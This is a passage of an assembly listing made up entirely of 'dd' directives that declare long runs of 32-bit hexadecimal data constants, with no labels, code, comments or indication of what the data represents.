75968603h, 0A8293C25h dd 125B5C79h, 74D2DE2h, 0B0836C4Ch, 0E172924Bh, 8F99B300h dd 508D1EC8h, 0BAA0005Eh, 3A74BB98h, 0A004EC9h, 40A3E4B9h dd 0CA25BCh, 604726B3h, 848597E6h, 900E574h, 33BE0F9Bh dd 3C3DB0Dh, 0F96D5789h, 30DBFBB7h, 0E4222689h, 7078065h dd 9A186F2Bh, 0B825C453h, 39EBA2EFh, 0C000CACDh, 852D7C41h dd 43002313h, 98665376h, 0FA049220h, 813A0340h, 0A9117B58h dd 0CA2BD990h, 0F3856E00h, 0ECC088B7h, 1C20002Fh, 812A9B3Bh dd 5E3A048Ah, 4B310E18h, 8892E0E0h, 9BDA419h, 4D5506ADh dd 0DB6220A0h, 5E033597h, 0A7038B17h, 0B0C095CEh, 3AF0502Fh dd 5A00D58Dh, 936221FCh, 1F0083B1h, 0EAFDD909h, 0F4A7012Ah dd 0AB1D0022h, 88BBEE4h, 92384020h, 94232C63h, 56659C00h dd 0ADFED73h, 9AA3E3F0h, 0F2733DF5h, 9D430089h, 418CD70Ch dd 1600C3D9h, 0E98FCBC9h, 0A372F16Fh, 3D209F82h, 66FE7Bh dd 4A689430h, 0E2D72F55h, 10DDA400h, 57A1543Ah, 3010462h dd 8040E12Eh, 41D9B44h, 0CBB39302h, 40E8D14Ch, 0E0A20262h dd 0D67407A6h, 57AD4DF3h, 0A1C570BDh, 7737C8Eh, 3B3ACA0Fh dd 7BF64027h, 95405EAh, 0A7794060h, 0A5B5B800h, 2401C151h dd 589DAAFCh, 5F306353h, 5D0300A8h, 0F70CBCAEh, 6E1DF269h dd 304034EDh, 567247Dh, 772C056Dh, 90FB6FB9h, 815C8510h dd 0F7C41F00h, 7B234F4h, 298F002Ah, 2325717Ah, 0E51FA42Fh dd 0C040FE4Ah, 9E405D8Bh, 0B21A0294h, 0F170C15Bh, 4D33A1C0h dd 0A464870Bh, 771000A5h, 0B88C6A6Fh, 687C003Dh, 0E1C11C6Ch dd 0FB01B127h, 2E213BF0h, 0DDEC5D2Bh, 8BA92h, 338DF290h dd 74C84385h, 7FAACA00h, 0F97BF514h, 7D8F0148h, 8BE67915h dd 0CCF4EC5Bh, 367730F9h, 4FCEB101h, 0C1152ACBh, 0E29202F0h dd 9A120049h, 0F370BDE6h, 0ED0047D0h, 35934542h, 0C75A7Fh dd 5D634021h, 117096A2h, 2655E200h, 694A6C6Dh, 3B670B9Fh dd 0E9006019h, 28AC783h, 0BD53D305h, 0F81E3F29h, 0DA5C26C0h dd 0C5945Ah, 0FED56FD8h, 9E48AA0Ah, 7E3C39h, 751CB566h dd 0E8D60Ch, 0F60F3456h, 0AF43F392h, 83EF0D00h, 686C4D73h dd 54B9028h, 9DFDBA01h, 24F0CC59h, 0D6995B05h, 60C0E08Bh dd 0A43678Eh, 0A83A01DDh, 409316BCh, 0C5AFC8D8h, 861E552Ah dd 73804560h, 138C984h, 0B7580F7Ch, 14AF8151h, 5FF16EE0h dd 0CD012753h, 4DCFB6C6h, 0D0D4F9B1h, 5DFC09DFh, 0D900C9A3h dd 3622BA76h, 1369FE09h, 0F2E482EEh, 74C060E2h, 7C77184h dd 0D5C55B7Fh, 2E0290ECh, 4170362Ch, 79627700h, 4843CE4Ah dd 3B8AFC95h, 32009B46h, 1D87F07Eh, 0BF00AFBAh, 0AB962135h dd 0B59567h, 4EF3A671h, 0E7AA9964h, 1C2A59h, 1619478h dd 2519BBD5h, 70005B56h, 0A850C328h, 10C71300h, 0DCB3C486h dd 0FF7D00B4h, 0EA9C733Fh, 4300C693h, 88E96925h, 31974CFCh dd 0ECA0F462h, 0A4A2201Ah, 15B05512h, 5B940Bh, 0D00D2E20h dd 0CF860042h, 0D7DE0E56h, 1D001045h, 349147FEh, 0BF8DFF1h dd 0C1CFD81Ch, 84271800h, 0CC1FE2E7h, 63406FA9h, 13CE024Ah dd 56120B94h, 0BC800C8Eh, 87EF6141h, 0C84F2500h, 7C6FA8B1h dd 10761F13h, 6BF5808Eh, 31B8EECAh, 74E7D63Fh, 0D2A1DF0Eh dd 5343C091h, 254EC237h, 9C80A87Ah, 8846F624h, 6D72E500h dd 20EDB0F2h, 18474C28h, 21B77101h, 50B579E8h, 9F50B3A8h dd 645AD300h, 0C7D55225h, 96EE0087h, 32778545h, 0A3012365h dd 0C3C1CB2Fh, 3AF8B8C4h, 83A2093Ch, 5CC85E47h, 6A01B9CAh dd 0C059576Bh, 3D000A52h, 0A100B6BCh, 8B991A2Fh, 3FF7693h dd 0B9D2ED01h, 0B14BDFF6h, 0C311E0h, 9A9035E7h, 0C4D1E8BBh dd 0AD25A106h, 3E012DBh, 0E1DFEC59h, 0C102A84Dh, 5B46AAF0h dd 0D1044856h, 2A3D00CEh, 0A2DD6E0Ah, 1E002E60h, 8AD6FA90h dd 67AAB5h, 0A17C2859h, 0D3421D66h, 0CE1A7B00h, 57538BB8h dd 0CAF52884h, 7E1400BBh, 0C8789925h, 0BF009B8Eh, 1638CBECh dd 1F95C6BBh, 65E15BCDh, 0B94A3C00h, 40041EBh, 0F77885BDh dd 636ABAh, 7550C083h, 719F5755h, 71611220h, 0EC4C010Ch dd 743A2D6Fh, 0F4C080E9h, 9491E016h, 88D3829h, 0BB8C5104h dd 2BDC8C9Dh, 0AE009676h, 0DA05364Eh, 3CFE23FBh, 6F803ECEh dd 5290C85Dh, 6D012ED4h, 43E10F67h, 0D450D76Ah, 0EBBA7Eh dd 0D5957859h, 0FF1D7F33h, 6E0D8775h, 88A031B2h, 1F7D7E4h dd 2F092476h, 0DD3668C3h, 0AE8CC0C4h, 69140E00h, 47F6A459h dd 3B372607h, 118A07BEh, 33E490A6h, 0C44EA3CFh, 44E7E802h dd 0C694A1AEh, 3468F65Ch, 0D67C2Ch, 6DD0E1EFh, 860060A7h dd 3B010E1Eh, 6674707Dh, 48BF24C1h, 5DCF050Fh, 23DB4E54h dd 93E6D928h, 885601A4h, 91AAB31Ch, 0CA8024F7h, 98DFB826h dd 0CF2C8200h, 0FDF83015h, 14C18420h, 0C468FE25h, 0D4953B00h dd 7B1191C6h, 0FA74CC04h, 0D080F816h, 7BC27F0h, 4A67DE70h dd 1D8F6026h, 750064FBh, 0B4342C9Dh, 0FDBD918h, 0E445ABE3h dd 0F1CE37E4h, 43C360ECh, 79845C00h, 0C8D31471h, 0A157008Ch dd 6EC58D5h, 0A509798h, 8000F2B8h, 0D49F2C36h, 921DD1CEh dd 0F3593E70h, 8D30D505h, 0C3009084h, 860F27D0h, 20FE8902h dd 73814E80h, 22820EDCh, 9A401903h, 5DF29CE4h, 0C51E5F00h dd 0A2D823D1h, 97C80B12h, 54402C0Ch, 5C291413h, 6513C87Ah dd 3056B881h, 1701DC28h, 0B7B19251h, 4C31D1B0h, 0EF00D744h dd 69675EBDh, 0A049819Eh, 4215B0h, 0B8D8E253h, 30B9FCB0h dd 0E7CA2500h, 1D7D203Ch, 1C9C16h, 0DD0DD14Dh, 10C019DEh dd 0D2073698h, 3A373B63h dd 544A900h, 0CB5E2990h, 54FEE700h, 0E67A4A39h, 4BDE3F25h dd 1A9EE48Fh, 0CF671CE0h, 0CC4B10ADh, 0E9E70000h, 265FB4BAh dd 38274076h, 0DFEEB983h, 10F0C8F2h, 8B0012E8h, 4DAECF6Bh dd 0E77D80h, 0FA75F47Ah, 0AC218717h, 0FF0C0509h, 0F6B00E5h dd 742E5Dh, 6BA1EA1Ah, 0B7A68F9Ch, 3101C00h, 55C8FF5Bh dd 18F2009Bh, 0A10BCBFCh, 8600B511h, 0DEB3B9EAh, 0CA4AB6h dd 7CAB3C08h, 66AD67ECh, 304A50Fh, 0CCD5A2h, 0EE783FB9h dd 1C7CA9h, 52F389D7h, 6AD2B303h, 7BB24800h, 0D59B383Ah dd 6F883039h, 0DE3B6B0h, 0C7700400h, 1D303ECDh, 0D362005Ch dd 0CC85808Ch, 43004788h, 7056E42Dh, 978669Ch, 0B602D8F2h dd 0C0CC0824h, 238165E4h, 510AD900h, 0C56B6943h, 7A3B0088h dd 9032793Eh, 75B0A20Eh, 606A1500h, 880ABA4h, 41B20088h dd 0C204664h, 0FE24617Eh, 0B980C45Ch, 1D98BAC2h, 0CA5B2726h dd 0F1FBD080h, 70008D49h, 79B053F0h, 0E4B6829h, 4A9092A7h dd 5ED91620h, 0FE0099C7h, 0B4AF7488h, 3DA42271h, 4600E0A7h dd 2580A22Dh, 0BF00565Dh, 725E9B51h, 5D752h, 687ADF24h dd 974E1E12h, 16A6AD1Eh, 76DBB600h, 193495Ch, 636EC1C9h dd 0C0261398h, 44E14411h, 0DA618388h, 906B04E0h, 4B846FCh dd 8087BF3Ah, 0F1BE92D1h, 9E9814h, 0DC235834h, 0D415D5BAh dd 7E4EC000h, 40872D17h, 0B1463F44h, 8009854Ah, 9DC3B670h dd 2409933Dh, 7C809C73h, 0E13B8BFDh, 189700FBh, 0A4E465Eh dd 40007D92h, 3E90CC0Bh, 0BD369C8h, 3981FCD0h, 0DAAE30A2h dd 0B6007C7Ah, 544504C7h, 11F5DEh, 0B84E87ECh, 5D4975FCh dd 3D16203h, 0C0E028C4h, 75C7023h, 2C54B15Eh, 81A1F0C8h dd 790078B0h, 56A625F9h, 9B632Ah, 33C016B7h, 0D080ED38h dd 0BC5F100h, 1227360Dh, 0D33109F3h, 0F2032C08h, 0EEC8D47Eh dd 0BC007FC1h, 0F2929C4Eh, 0FEEFA3h, 5425AEBDh, 5A474CCCh dd 10EAC21Fh, 6F02F3CEh, 740732CEh, 85F0DA30h, 0B6ABE6Ch dd 0A1A8EFAEh, 8D7AA800h, 190EB881h, 1B3A59h, 0E7ECA913h dd 84AB5DBBh, 1F2C7E04h, 0DF3C80E1h, 1712D2FFh, 0D403E5A2h dd 88D3D55Fh, 3F379F7Dh, 81F7C25h, 0D70F407Bh, 0D9CEBC02h dd 2957C700h, 2E90D85Bh, 7D4E003Ch, 0D7816815h, 0AE0062E1h dd 0F61777A7h, 5451992h, 0E94D5839h, 76890E4h, 3C001FF9h dd 0A613D3B1h, 39330A43h, 6A8EB0B2h, 6D209BD0h, 257FE62Ch dd 97ED8A05h, 0A90058D8h, 55F7B9FFh, 0D0480056h, 4679CF68h dd 1F001491h, 0EB0FB8E7h, 8845C3h, 47EA9DC8h, 0E3B05FECh dd 0F4B63700h, 421C335Ch, 78E60026h, 0FBDE50F3h, 0C603BC8Eh dd 0E820F9D9h, 0C0D3F2DCh, 4CA1ECD4h, 0BC2DAC13h, 7F5EB8A1h dd 9851E0F5h, 7AD95B00h, 6D45E348h, 0B1800061h, 59443F34h dd 5C24CBE5h, 1700B720h, 144E799Ch, 0B93500C1h, 71482C9Ah dd 0AE17B1F5h, 18803260h, 0F5ECA28h, 0AB81D673h, 91344096h dd 0E6ED2DDBh, 623DDC1Ch, 0D88FAC7Ch, 9A3584BCh, 74D0A2ECh dd 1347DBB0h, 0FCCBC2h, 1C5B67CCh, 7804160Eh, 35B3D054h dd 0DCAC0493h, 319A4B4h, 0A0044558h, 69E3CFDDh, 0B815EA88h dd 0D03D3200h, 182577F0h, 0C3E00E97h, 49C543A8h, 98F80F66h dd 6CCB809Ch, 0B82AE7E6h, 555F5716h, 0D24F5A00h, 1B840Dh dd 0C1C38B0h, 0AF2F2A0Ah, 8F638E01h, 0E687FB92h, 4CDB4FCh dd 3961E5E4h, 0ADC08048h, 14002686h, 2B246C52h, 10344CAh dd 6431B53Dh, 0CC232C18h, 5D065E63h, 6D209924h, 0F0D100BEh dd 8D3773ECh, 713D7A27h, 0C6DA893Ch, 38AA02EEh, 0D8B8EB25h dd 0F574511h, 8539888Bh, 0B04AC987h, 36FD4E6h, 6EFF9101h dd 0C2B13D41h, 4DA1EDCh, 557AC9B8h, 4F58E447h, 0D6094B00h dd 9E766326h, 0B9BA1D0Bh, 3DD401BBh, 502C9F42h, 244A02E4h dd 0C800744Ah, 6389CA35h, 46680178h, 52D2BCF4h, 0CE1130CFh dd 0DD6C214h, 0B96C00D0h, 531E90EDh, 0AB9D17FCh, 0A50C81F6h dd 0BA2C3002h, 0DBE1C000h, 65FC3C1Ah, 0F46807B6h, 6F7CAF4Eh dd 0E183F86Fh, 0C0E89354h, 4D731635h, 0DB8BAB07h, 0D0F0897Ah dd 2BF1F3Ah, 778A8FDEh, 7CE82EDCh, 0C49B91ECh, 329CF503h dd 0B2F40276h, 0DD3CF1DBh, 6DDE1C60h, 37AA2B00h, 44626E7Eh dd 0F87863E0h, 0F0E86A83h, 0E930A946h, 0D737E803h, 1ABD3E51h dd 8296247Eh, 0FFBC03CCh, 9EF4397h, 0F0DF981h, 8D38F0F8h dd 0CD9E024h, 0C405800Eh, 7081ABE7h, 0E8CB8C1Fh, 158FBFFh dd 0ECDCA5B4h, 0E8862A90h, 8903F8DAh, 0C2165B69h, 0FE88E8C7h dd 6BB80098h, 0D48FEEC3h, 0F0B23E3Fh, 0CD49A700h, 5E40634Eh dd 813C007Dh, 0ACFEC7B3h, 0C807FABAh, 0F57976F7h, 0B08E4A63h dd 16C1DE12h, 956F8D32h, 8094A058h, 0AE7B1F00h, 71BA027Eh dd 28035EE3h, 0B012B90Ch, 0B880AFD2h, 28832Eh, 45A2568Dh dd 1BC373EAh, 47DFCE03h, 0E8F0ED3Fh, 720A06Ch, 2AB43884h dd 338B8039h, 520CA7CAh, 7092610Ah, 0E0DD00C1h, 0B63B44CFh dd 0F0007A1Dh, 0D00E097Fh, 0F706D2h, 59C932Fh, 6F80F2D4h dd 7A8D2C00h, 49796CD3h, 0AC5802B7h, 2D566250h, 10766960h dd 12849B00h, 805A48A9h, 0D76F0029h, 5B53A3FDh, 7800491Eh dd 7E031B4Ch, 3D622792h, 0C409CB34h, 34646F2Dh, 0FD795800h dd 391EDBB4h, 0D63705A8h, 0D05F4BE0h, 555D4FF0h, 0A3EAE71Ch dd 0E46E9170h, 0B19102BEh, 3526723Ch, 0F7CFD860h, 0F04F25Ch dd 60C5877Dh, 694D7105h, 0D98300CBh, 0ADD14FC6h, 3F12DE62h dd 50E4FF1Fh, 0DB1603E6h, 0E19F1E6Fh, 0F7B41E7h, 2E1F05FEh dd 5A03901Dh, 0E6002B8h, 3E42DE99h, 96EA0653h, 0F009089Bh dd 0D869788Ch, 0D85A2E78h, 42680FC9h, 23C03620h, 97004DC2h dd 0DAAF5B05h, 0CD9371h, 8ED3612Dh, 4AADE17Bh, 0B5003475h dd 9E019A22h, 0E017D581h, 0B7FC00FEh, 5E5A86FBh, 0FA003A28h dd 0DFDEA664h, 5D42E1Eh, 14EDB7FEh, 9A5C40FBh, 0DC5E459h dd 0BFCC4007h, 0F90C5E21h, 343E59FEh, 3FC4C101h, 0D0873938h dd 553CBDA2h, 26C8875Fh, 2F5417h, 0EEB68D3Bh, 0F13E0027h dd 1B372AB2h, 2F09D107h, 8F14D3A8h, 8E38C611h, 906E0E76h dd 0F4405183h, 1581DDCh, 6C633C00h, 46AC3372h, 0C2A8037Eh dd 8AE5448Bh, 62A1D698h, 0D0725E00h, 0A2347AC1h, 4C900021h dd 0ED192A84h, 88003361h, 7A4E9209h, 0FB81DDAh, 0FD9A5856h dd 357090C0h, 0C6005212h, 80E82EBh, 0B28794h, 88668F58h dd 119D62BFh, 6CE4A803h, 0A7AEA246h, 0B8744293h, 0F2C979FBh dd 0A98B0016h, 19F6085Dh, 53001C57h, 6E71880Eh, 544472DDh dd 4C079C46h, 5F00E42Dh, 0D9404326h, 0AD1403F2h, 80C49D89h dd 0BEB8907Dh, 0E09A00B5h, 57E9B331h, 560ED243h, 6013C292h dd 29BE30A1h, 63030C25h, 0C7613B68h, 0A29B5F00h, 0D15DFDC5h dd 922C00F9h, 0EAF4A3Dh, 42015A1Dh, 37CCDF09h, 588EECE7h dd 23609F03h, 0AFBAD152h, 493A48C0h, 29A04h, 749E7D5Bh dd 87DDD538h, 0E4A2A600h, 17E25CF9h, 0D839392Ch, 0D77B7780h dd 732614EAh, 16DF9505h, 4C1B8963h, 0B7D5E070h, 9CD00149h dd 7B634A39h, 0DF218B45h, 4D4440BAh, 0E5BD0070h, 0B2DDB3F0h dd 0CD00C0CBh, 730B02B7h, 17ACE38Eh, 4045DF7Ah, 0FCC810ACh dd 0A8001EA6h, 80A2C50Ah, 62F16Eh, 54896029h, 0EAFDAC5Ch dd 0B056830Eh, 6BBE8319h, 4C3E09Ch, 0BCAB0F0Fh, 0F6801AA6h dd 0BE81D1E8h, 861B8FF0h dd 0C0187505h, 0DE85C2h, 9EBBDA49h, 0FF1E0D46h, 4091C000h dd 611A1065h, 0FAC500A7h, 2830CF38h, 60B632Dh, 0D7BF420Eh dd 824C5C80h, 0CB0F19CCh, 227E0D26h, 962BA666h, 67C60214h dd 0AF36BACDh, 4B2C9461h, 0F5B60314h, 0E074D768h, 60B1CE70h dd 1106A8A2h, 0CC00AF47h, 0DEC7156Bh, 539F5D45h, 0C5C31473h dd 1B7376Ah, 4BA00D50h, 0CA970074h, 0CFF793D7h, 0A2F100B7h dd 6A0C2205h, 1301C84Ch, 0CDC24432h, 344B6FF5h, 94F5D00h dd 2EB8C9CFh, 802070D1h, 8F81ECAh, 54C42927h, 0BD7A6044h dd 0B014C9A6h, 0AD4A3A9h, 0D81CEB05h, 6B949100h, 95C21Bh dd 8C6F5A82h, 0EFE80DBh, 0B24B9618h, 5054B529h, 0F81AF885h dd 0B11E911h, 0F10424EAh, 1F3DF000h, 0D66D8453h, 0C9040012h dd 0A4819A37h, 0C800B6E3h, 9B9C7008h, 300EF865h, 1D49A6ACh dd 5C007893h, 541B45A8h, 0C6ED69CEh, 7998EF59h, 31DB4700h dd 25C98885h, 502C0005h, 2423AD4Dh, 0E271FBCDh, 0D51B5106h dd 0B9EA04h, 9B467706h, 0A1EEBF6Bh, 0E5DC231Dh, 2821EC18h dd 324600AAh, 43C15B2Bh, 250A2FFFh, 3C1FBB59h, 0F84E803Fh dd 884BC16Fh, 17C7010Ch, 0E3B3EA16h, 650DC4E7h, 0B244ACA4h dd 61F800C2h, 4797F34Ch, 0D900D05Fh, 55A159A2h, 166CF4Eh dd 12D834F5h, 0D21BB328h, 1C768F60h, 0BAA06701h, 0BDE313A3h dd 66CB9050h, 58DA00BFh, 0BB10E756h, 65002732h, 0FF7DB198h dd 61C85BBAh, 90B5B082h, 0AF088A4Bh, 7543D454h, 0B8DA1A0h dd 0BA3E11BEh, 412CE280h, 45EAB0D7h, 7AB1CF3Ah, 0D2DBBCABh dd 409249B0h, 3814D879h, 1D7004E4h, 0AF00D5FDh, 0F54B1BCFh dd 5F1141Dh, 0D923C0C9h, 3746A300h, 86EF9F6Bh, 0F4FE44h dd 4DA948D5h, 0B6021B6Ah, 348B4F24h, 0B44B43h, 42A94629h dd 0DDCD3F28h, 0C8E59F18h, 24546F18h, 158939Ch, 0B044BD31h dd 0E3418086h, 108FAA83h, 0C1470C61h, 0E0085103h, 0F3C9ACA8h dd 574AAA03h, 988F231Bh, 269D328Ch, 78DC30h, 0AEE3200Ch dd 6B0DA097h, 18704C54h, 0AFF36888h, 9EAAF460h, 22994610h dd 8CC413E6h, 0B8480EAAh, 8A8E158Fh, 1FF393A0h, 98036FDFh dd 3C9AADA0h, 236012D4h, 68281986h, 0A8684837h, 10A2A908h dd 40DBC439h, 13AAF0D0h, 1007022Fh, 5CCE318Ah, 7CA6A0A0h dd 4280508h, 0B37CA48Fh, 10A09924h, 7B1F3140h, 0CFE33157h dd 2251B5F0h, 0B00A06F8h, 0A18DF7Fh, 0C6086BA5h, 203D4584h dd 0A8A99E50h, 4A491010h, 0CE80E7C8h, 0D537AAF6h, 70170029h dd 4F734EACh, 24097FDCh, 3121C56h, 0E3B78620h, 317000AFh dd 0E710B158h, 19F6D175h, 3BBC2E00h, 3581020Fh, 600C0013h dd 364899BFh, 31E6A8FAh, 50272F09h, 0CF4A8743h, 96766FE0h dd 0FF080042h, 8C9B90A1h, 40EAFE6h, 58FA5D35h, 25B928h dd 2B48CAADh, 0B8BAE675h, 14670B00h, 9BED4C15h, 0EBE30334h dd 0A887E928h, 99C080DBh, 2100CB4Bh, 0B02DB623h, 0C98EB53h dd 0ABA64A69h, 413B8B58h, 637B005Ah, 6793C2F5h, 9F330043h dd 0C05ED42Bh, 120F7056h, 6358BF86h, 0FDA5EAh, 0CB25ABB8h dd 0A8AC3EC7h, 66364600h, 0B485F2B8h, 302800E1h, 704517Dh dd 1900C606h, 1498F0A0h, 0E9B639h, 943E489Bh, 0A798229h dd 0C4F0B160h, 0E8B2A94Bh, 833900AAh, 19349AC3h, 0D8016554h dd 9E7B6E86h, 44F7DA5h, 0EC1F80ACh, 0A803A6F2h, 0E06DBA51h dd 7EE6656h, 449BF4F3h, 2A6C788h, 0B2501DB4h, 42BED018h dd 88F6AA28h, 29808388h, 6E7FBFh, 0C6F96543h, 0E6F382C5h dd 140021E2h, 5FAC68C8h, 1E4E78ECh, 0C0663324h, 0F54F16C7h dd 4100D1E5h, 3A6A8557h, 0F40A53C6h, 0DC6B0713h, 804BBE29h dd 7E59513Eh, 2E98B400h, 61F44C8Dh, 58E43D67h, 6ED8738Eh dd 9B7752E0h, 8F01D65Ch, 0F5785E35h, 14E8BF70h, 3E2C3CD2h dd 867AEC80h, 4FE938AAh, 0D6D9A000h, 7A9BC35h, 6076F0h dd 29AEEF83h, 0F5C39A9Eh, 6F3D100h, 7B2E361Dh, 64F400BCh dd 7D9E411Fh, 70F4374h, 40C40BE3h, 0E1C2A7B7h, 199F00ACh dd 0C8F3FEADh, 0AE387888h, 0EFB300B0h, 212F9C34h, 815F18C9h dd 0D51DB06Bh, 364A8B01h, 0FB02AABDh, 0B3DFC0h, 5585BA68h dd 0F6B9CCE7h, 2BDDEF00h, 6E125828h, 25340051h, 0D8E2C5D7h dd 8D002DBBh, 0B676C8FAh, 0EF4FF2Eh, 515999DBh, 30626366h dd 1CB5DD00h, 431F14Fh, 0EBAE1426h, 0D1EB4C8h, 9CD643FEh dd 0F4F00346h, 3B00127Ch, 84C5DAEh, 1CF52BC0h, 0C01B6EC3h dd 0DC74B1EDh, 57001C4Ah, 0B625CCCDh, 2C6082h, 628C2E1Dh dd 35E5E8A6h, 37553A17h, 0CBD4D900h, 0BDC1EBh, 3975CF19h dd 623D59A4h, 0DCCC1200h, 0C60C76D8h, 0AFE301D9h, 1CD52AD0h dd 7B542009h, 97E40100h, 7CD1283Dh, 399C0FFCh, 6160718Eh dd 4247D43Ah, 0F6005098h, 90FF8C10h, 301FCB8h, 0AB777DDCh dd 202E3BA6h, 0E7001A30h, 9D76071h, 76450964h, 283E934h dd 2588FACCh, 0FD002837h, 64948981h, 1C8ADAF8h, 80F20E71h dd 88B9CEC9h, 0C31EC4BEh, 0D852A0EEh, 7F5CB040h, 1FD545FFh dd 4099118Ch, 4037FDB4h, 7000E982h, 73FEE062h, 0D269A6h dd 77C32022h, 85D9B290h, 0C1CA0C0h, 0AC40A50h, 873DEAA3h dd 0E9FC8040h, 2344FAA8h, 78362603h, 0D0E6CA51h, 38E13BFBh dd 8703F256h, 15CDB8CFh, 0FD795000h, 0F3924ED6h, 0B79500ACh dd 0BB53C9EDh, 0B3F08C9Dh, 0C860BD00h, 2C36525Ch, 0A51E0034h dd 5996436Dh, 6218B96Bh, 0B3E171B4h, 53AFAACh, 3E14D481h dd 90B0001Bh, 0F1FA22ABh, 20F97A7Fh, 3724C98Ch, 0B2002066h dd 0D58213E0h, 0D8A3F2BFh, 7B4C0CF8h, 0EF801200h, 8A1E705Ch dd 6F090E0Fh, 0CCC0A7FCh, 9FC2235Bh, 0D01778C0h, 0F631ACD7h dd 99F61213h, 0CD083114h, 7449F0FCh, 26638203h, 0D82BBFE2h dd 229AFEh, 5E3C2CA9h, 0C0576933h, 5DA23Eh, 7D6D515Ch dd 6AD237h, 0D7EF6582h, 0FFE01E5Ah, 5014B030h, 3076C050h dd 0A89C5A8h, 8B0040ADh, 0D96321ACh, 1D4E28h, 0D1BA9818h dd 6DF2F450h, 6C6080F5h, 0E72AF162h, 0DB2D0086h, 60CD39F5h dd 0DE30E355h, 650278E4h, 9192006Fh, 0EBA6CC7h, 4D00CB9Bh dd 0B0D5D35Bh, 1FEC8410h, 3EFBB9DBh, 9A922698h, 6700523Ch dd 0DC1CE0F6h, 7E334402h, 0B12C1D7Dh, 0C4414AF0h, 5500B8CCh dd 0C220B903h, 0DF1D30E0h, 9103EE39h, 0D8CD94D7h, 0DCF85Dh dd 588F6C98h, 0C6F140B9h, 0EA00F890h, 47437054h, 411AF6h dd 98CCF8D9h, 8530E93Ch, 190084B2h, 4627A65Bh, 4D5571Bh dd 62BE732Bh, 1104807Fh, 1492364Bh, 0BBD858h, 40BDB7D1h dd 4DCE64h, 29DA7BC3h, 81E2F166h, 223B7600h, 0EB4B470Eh dd 0EF10009Fh, 0BEDF74B6h, 3C002AAFh, 427FC16Fh, 0FC5D12C6h dd 91B2012Bh, 95EFBA74h, 448C4043h, 827D32F1h, 9C005C90h dd 0B6C514DCh, 830412h, 48BA296Ch, 13F9670Ch, 0A0249848h dd 0FB77718h, 819BFB9h, 91795D24h, 0F42072D0h, 0A4011C31h dd 82383B17h, 4340F39h, 0A19B406Ah, 994B949h, 5BFD99h dd 3CB0EB08h, 0F889008Bh, 0B28F6652h, 600E8C6h, 0A19D1A8h dd 1C18CBh, 5EAB3C31h, 0C6ED5BDh, 3B007491h, 0D10E185Fh dd 2250C159h, 26034711h, 54C72298h, 2E85E44Ch, 0ED7E1E5h dd 8F42CC28h, 74A0D278h, 2F22D9Bh, 0DC44A824h, 0A2076102h dd 0CED8A099h, 7EE8F8B7h, 448A4DCBh, 0FC307C00h, 6CBDE535h dd 0D912E9E8h, 0FC45A46Ah dd 0DB1D6F79h, 0DC487193h, 8D8700DCh, 799B351Fh, 96FE1203h dd 1C2BA94h, 6277C469h, 3013B7D2h, 9A98C308h, 0DE1D8F00h dd 0FE4FEBBDh, 6CE70038h, 31524DC9h, 55041AF3h, 990359D2h dd 293AE890h, 27D0039h, 0BA05E43h, 59F81653h, 3DB460EDh dd 0C61D00B8h, 3F9CFB75h, 1CB8CC0h, 582FFC18h, 4716DC77h dd 0C500BF40h, 0E1735FCCh, 275D3879h, 3EE3C800h, 609ED3BDh dd 80EBF83Ah, 0D7F3B9D9h, 6CA254h, 0F15B7405h, 0B0852E5Dh dd 7307607Bh, 2A708977h, 0F96E4361h, 0D0A420h, 5B9DE5DAh dd 238345F6h, 74F9103h, 0A8D5CD09h, 0D02DDCh, 0B6DE2885h dd 0B51E3B43h, 0F16823Ch, 80E032B2h, 0FD68ED77h, 506C0086h dd 0E728CD24h, 1BEC6D53h, 0CA3DD00h, 0D40EE47Fh, 24D49079h dd 1F447E0h, 5FF4C1AFh, 0EC20D901h, 1950EA85h, 4F3C7FC4h dd 0C4A280A9h, 0CF86A364h, 9FAD13A1h, 2EE00115h, 0E0377173h dd 1F48400Dh, 9B8E0040h, 1759BA3Fh, 0B79403A6h, 0A01586AAh dd 0F62AFF8h, 0EA822F00h, 0E980DBB3h, 4509008Eh, 3A367A24h dd 1000C3A8h, 9E9CCD86h, 5D2BA0h, 1B891D35h, 0EDBAA6B6h dd 0E2C46400h, 0F84B377Ch, 54AB24B9h, 0F0F60F72h, 0ECA825E7h dd 0E2093DE0h, 0A0F59986h, 36A6D3C0h, 0B18AA0FDh, 944501A4h dd 0AA28586Fh, 4EF1801Bh, 0E84396C4h, 2460FAA2h, 8C5D91h dd 71C2DFB0h, 0F128B1C1h, 6900CC13h, 2DF61587h, 0C937D9D2h dd 0F4187184h, 47805C01h, 31BF00ADh, 0C75A91D0h, 0DB00D85Fh dd 0E8CE540Eh, 0FC3DDE3h, 5C752B6Fh, 90A31CC4h, 997CD294h dd 0C300A5Dh, 0A9F4E0A1h, 30570004h, 97A466BEh, 6905E7ECh dd 2A5E13A8h, 6848B8C2h, 6BC7E0h, 0CFAA29E3h, 7CB1AD8Dh dd 11ECC92h, 9A922F0Bh, 2963F441h, 0E836DCBDh, 0DA007722h dd 96BB74E1h, 39077E24h, 52822B05h, 0F3BF303Dh, 30970C4h dd 0A0EA42F5h, 0CDD9A58Ch, 0ACE906A9h, 0C9BEA2BDh, 724B9807h dd 0B7F02AF9h, 74F13A6h, 5551B4B8h, 33E7F0D1h, 6218BF78h dd 79F16CECh, 81F013A6h, 8BE04083h, 4F21BB4Eh, 0D017E328h dd 0A2EF1D02h, 0C5F3C015h, 385424B8h, 2CE52580h, 0E1EB7DD7h dd 969E4E00h, 23D67AA2h, 0EE3D01E8h, 976F02DFh, 4C08086h dd 0D5E7457Ch, 0F95100D1h, 201D90D3h, 7700229Ch, 50EAC542h dd 46EB305h, 65B430DFh, 412CC791h, 7E8CB6D6h, 0DC03CC7h dd 2CF66809h, 45A8414Dh, 2E218085h, 5B17A377h, 74670697h dd 0F833B223h, 6AD9A4Fh, 67853AF8h, 0DAF41139h, 82B22115h dd 558300D0h, 2AF62497h, 7B8B04Ah, 85E9FD40h, 0A636D029h dd 80B8BB4Ch, 0B39CD900h, 1DED3D4Eh, 7110544h, 41455268h dd 7CFCC7B4h, 3C46D60Fh, 3DD38E00h, 0A9192314h, 587C2511h dd 5F6E4007h, 7A0774E3h, 71038800h, 0E8A9A662h, 41DF66F5h dd 0BD736EE5h, 748F5Ch, 83EC6A25h, 0F913E833h, 0F8C79460h dd 5227128Eh, 80B85E8Ah, 5F0F017Dh, 36058408h, 3CD69C12h dd 0BC90D200h, 0AB4A41Fh, 803BCC6Bh, 0C65C008Ch, 0A21A4BE4h dd 6A470700h, 5A610DD2h, 7824003Fh, 11BB7E35h, 132CD10Fh dd 8F80989Ch, 0C3260CA7h, 151A094Dh, 0DC8049EEh, 8E98451Bh dd 8A79631Fh, 